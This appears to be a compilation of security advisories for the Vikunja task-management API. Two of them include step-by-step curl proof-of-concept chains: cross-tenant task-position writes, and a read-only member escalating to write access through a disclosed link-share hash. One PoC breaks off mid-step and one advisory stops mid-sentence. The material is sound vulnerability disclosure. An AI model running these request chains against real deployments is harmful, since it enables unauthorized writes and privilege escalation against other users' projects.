Vikunja's API has a permissive Cross-Origin Resource Sharing (CORS) policy that trusts all localhost origins by default, combined with sending Access-Control-Allow-Credentials: true. This allows any page served from localhost on any port to make credentialed cross-origin requests and read responses, including the token refresh endpoint that returns a bearer token in the response body. This token grants full API access for the logged-in user. The default configuration appends localhost origins to the allowed list rather than replacing them, causing production deployments to inadvertently trust all localhost origins. An attacker controlling a page on localhost can exploit this to obtain a valid access token without user interaction.
A vulnerability in the Vikunja API allows project members with Write permission to delete admin-tier link shares on that project due to an authorization check flaw. The deletion handler does not load the stored share's permission and defaults to Read permission, causing the check to fall back to Write permission instead of requiring Admin. This enables Write members to revoke admin-level link shares, disrupting external access without granting elevated privileges or disclosing data.
Vikunja version 2.6.0 contains a regression in its project permission engine where explicit lower-permission shares on sub-projects are silently overridden by higher inherited permissions from parent projects. This causes intended access restrictions on child projects to be ignored, allowing users to gain higher privileges than intended. The issue stems from a change in permission resolution logic from 'nearest-ancestor-wins' in v2.5.0 to 'maximum permission wins' in v2.6.0. This vulnerability can lead to unauthorized modification, deletion, and re-sharing of sensitive sub-projects.
A vulnerability in Vikunja API versions from 0.22.0 through 2.6.0 allows a removed collaborator to retain live access to project contents via webhooks and link shares. Although the collaborator's direct read access is revoked, the webhooks and link shares they created before removal continue to deliver updates, including content created after revocation. The issue arises because the cleanup routine that deletes access-related data on revocation does not include webhooks and link shares. This results in a continuous feed of project data to former collaborators. The vulnerability has a medium severity rating with a CVSS score of 6.5.
In Vikunja v2.6.0, creating a saved filter with an empty filter string while the user has no accessible projects causes a task position recalculation that loses project scope and writes task position data across all tenants. This allows an authenticated user to write task position entries referencing tasks from other tenants, violating tenant data integrity and causing write amplification proportional to the instance size. The issue arises because the recalculation query executes without a project scope filter when no accessible projects exist, and the server writes position rows unconditionally. This flaw contradicts intended access controls and was confirmed with a proof-of-concept.
Vikunja versions 2.3.0 through 2.6.0 have a vulnerability where WebSocket authentication ignores server-side session revocation. Although sessions can be revoked via the REST API, the WebSocket endpoint does not validate the session ID claim against active sessions. This allows revoked tokens to continue receiving live push notifications indefinitely. The issue affects session revocation mechanisms including TOTP enrollment, undermining user expectations of session invalidation.
A vulnerability in Vikunja API allows deletion of task relations without verifying read access to the related task. This permits a user with write access to one project to remove relations linked to tasks in projects they cannot access. The issue affects the DELETE task relation API endpoints and results in silent removal of relations from the other project without data disclosure or privilege escalation.
A vulnerability in the Vikunja API causes assignee email addresses to be disclosed to read-only project members via the task assignees endpoint. Unlike other endpoints that obfuscate user email addresses, this endpoint returns the email field unmasked. This issue affects versions prior to 2.6.0 and allows unauthorized disclosure of email addresses without additional privileges.
Vikunja has a vulnerability where subtasks linked across projects are disclosed without proper access control. A user with read access to one project can retrieve full details of tasks in other private projects if those tasks are subtasks linked under accessible tasks. This cross-project disclosure exposes sensitive task data including titles, descriptions, dates, assignees, labels, and attachment metadata. The issue arises because subtask expansion does not enforce project access filtering. The vulnerability is read-only and depends on pre-existing cross-project subtask links. A fix is available to apply correct access filtering on expanded subtasks.
A vulnerability in Vikunja's CalDAV API allows an attacker to create task relations without proper permission checks. This bypass enables unauthorized writes to any task by specifying its UID, even in projects the attacker cannot access. The issue arises because the CalDAV relation creation path does not enforce the TaskRelation.CanCreate permission check, unlike the REST API. Task UIDs are exposed via CalDAV to users who previously had read access, enabling removed collaborators to exploit this. The flaw also facilitates cross-project subtask relation creation, which can lead to further information disclosure. A fix is available that routes CalDAV relation creation through the proper permission checks and scopes UID lookups to accessible projects.
## Summary
The task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task's own project) and the request body's `project_view_id` is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.
## Details
Affected endpoints (both verified):
- v1: `POST /api/v1/tasks/{id}/position`
- v2: `PUT /api/v2/tasks/{id}/position`
Root cause in `pkg/models/task_position.go`:
- `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` — i.e. the caller's write access to the task's own project.
- `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task's project and no access check on the view's project.
- `ProjectViewID` is body-bindable (`json:"project_view_id"`, no readOnly/param restriction, line 42).
Contrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.
Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {"task_id": ..., "project_view_id": <victim view>, "position": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` → `CanRead` on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.
## PoC
Steps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance.
1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"victim"}'
# -> {"id":200,...}
curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER"
# -> [{"id":771,"view_kind":"kanban",...}, ...] # remember VIEW=771
```
2. Attacker creates their own project and a task in it:
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"title":"attacker"}'
# -> {"id":201,...}
curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"title":"evil"}'
# -> {"id":105,...}
```
3. Baseline — attacker positions their task in their own view (succeeds, expected):
```
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}'
# -> 200
```
4. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):
```
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}'
# -> 200 {"task_id":105,"project_view_id":771,"position":100}
curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}'
# -> 200 (v2 twin behaves identically)
```
5. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):
```
curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json'
## Summary
A user who has only read permission on a project can call the single link-share read endpoint and receive the share's `hash` field — the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.
## Details
Affected endpoints (both verified with a complete chain):
- v1: `GET /api/v1/projects/{project}/shares/{share}`
- v2: `GET /api/v2/projects/{project}/shares/{share}`
Permission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` — i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:"hash"`), which is the share's bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted.
Inconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected.
Impact chain: hash -> `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.
Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.
## PoC
Steps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance.
1. Owner creates a private project and a read-write link share (permission=1):
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"poc"}'
# -> {"id":123,...}
curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"name":"poc","permission":1}'
# -> {"id":7,"hash":"<SECRET_HASH>",...}
```
2. Owner adds the attacker as a read-only member (permission=0):
```
curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'
```
3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):
```
curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...}
# v2 twin behaves identically:
curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"hash":"<SECRET_HASH>",...}
```
4. Attacker exchanges the hash for a link-share JWT (no authentication required):
```
curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \
-H 'Content-Type: application/json' -d '{}'
# -> 200 {"token":"<LINK_JWT>",...}
```
5. Negative control — the attacker's own user token cannot write to the project:
```
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \
-H 'Content-Type: application/json' -d '{"title":"direct"}'
# -> 403 Forbidden
```
6. Escalation proof — the link-share JWT writes successfully:
```
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \
-H 'Content-Type: application/json' -d '{"title":"escalated"}'
# -> 201 Created
```
Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).
## Impact
Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project tha
Vikunja versions prior to 2.5.0 contain a principal-type confusion vulnerability in the web.Auth interface that allows a link-share principal to be mistaken for a user with the same ID. This flaw enables unauthorized removal of users from teams, takeover and deletion of bot users, and disclosure of team rosters and bot metadata. The issue arises because link-share IDs share the same positive ID space as user IDs, and three permission checks fail to distinguish between these principal types. The vulnerability is fixed in version 2.5.0.
Vikunja versions up to 2.5.0 expose the raw TOTP shared secret after enrollment via specific API endpoints without requiring re-authentication. This allows attackers with a valid access token to retrieve the secret and generate valid two-factor authentication codes indefinitely, potentially leading to account takeover. The vulnerability has a medium severity with a CVSS score of 4.3.
Vikunja versions 1.0.0 through 2.5.0 have an API token scope bypass vulnerability in task read endpoints. The issue arises because the authorization process does not properly inspect the 'expand' query parameter, allowing attackers with limited token scopes to access restricted data such as comments, reactions, and time entry counts without proper permission checks. This vulnerability has a medium severity rating with a CVSS score of 4.3.
Vikunja versions up to 2.5.0 have an authentication bypass vulnerability due to missing rate limiting on CalDAV and feeds BasicAuth endpoints. This allows remote unauthenticated attackers to perform unlimited credential-guessing attempts against specific routes, bypassing anti-brute-force protections and potentially compromising password-only accounts. The vulnerability has a high severity with a CVSS score of 7.5.
Vikunja versions up to 2.5.0 have a vulnerability in the avatar and project-background upload endpoints where pixel decode limits are not enforced. This allows authenticated users to upload crafted images that decode to very large pixel counts, consuming excessive CPU and memory resources. The flaw can lead to denial of service through resource exhaustion caused by repeated or concurrent uploads. This vulnerability has a CVSS score of 6.5, indicating a high severity impact on availability.
Vikunja versions up to 2.5.0 have a vulnerability where authenticated users can enumerate all teams and their members by attaching arbitrary team IDs to projects. This occurs because the application fails to validate team access properly when teams are attached to projects. The vulnerability allows disclosure of team rosters, including member names and admin flags, for teams the user is not authorized to view. This issue is tracked as a medium severity vulnerability with a CVSS score of 4.3. The advisory is a duplicate and references GHSA-39p5-2wrr-xh29 for the original report.
Vikunja versions up to 2.5.0 have a vulnerability in the v2 API where link-share tokens are not properly validated. This allows attackers with read-only share links to enumerate project users and confirm arbitrary usernames via the global search endpoint. The vulnerability has a medium severity rating with a CVSS score of 4.3.
Vikunja versions before 2.6.0 have a resource exhaustion vulnerability in the task-filter API endpoint. This flaw allows authenticated users to submit deeply nested filter expressions without limits on recursion depth, causing memory exhaustion and termination of the API process. The vulnerability is identified as CWE-674 and has a CVSS 3.1 score of 6.5 (high severity). The advisory is a duplicate and has been withdrawn in favor of GHSA-xxc3-xpmc-vmvr. No patch links are provided in this advisory.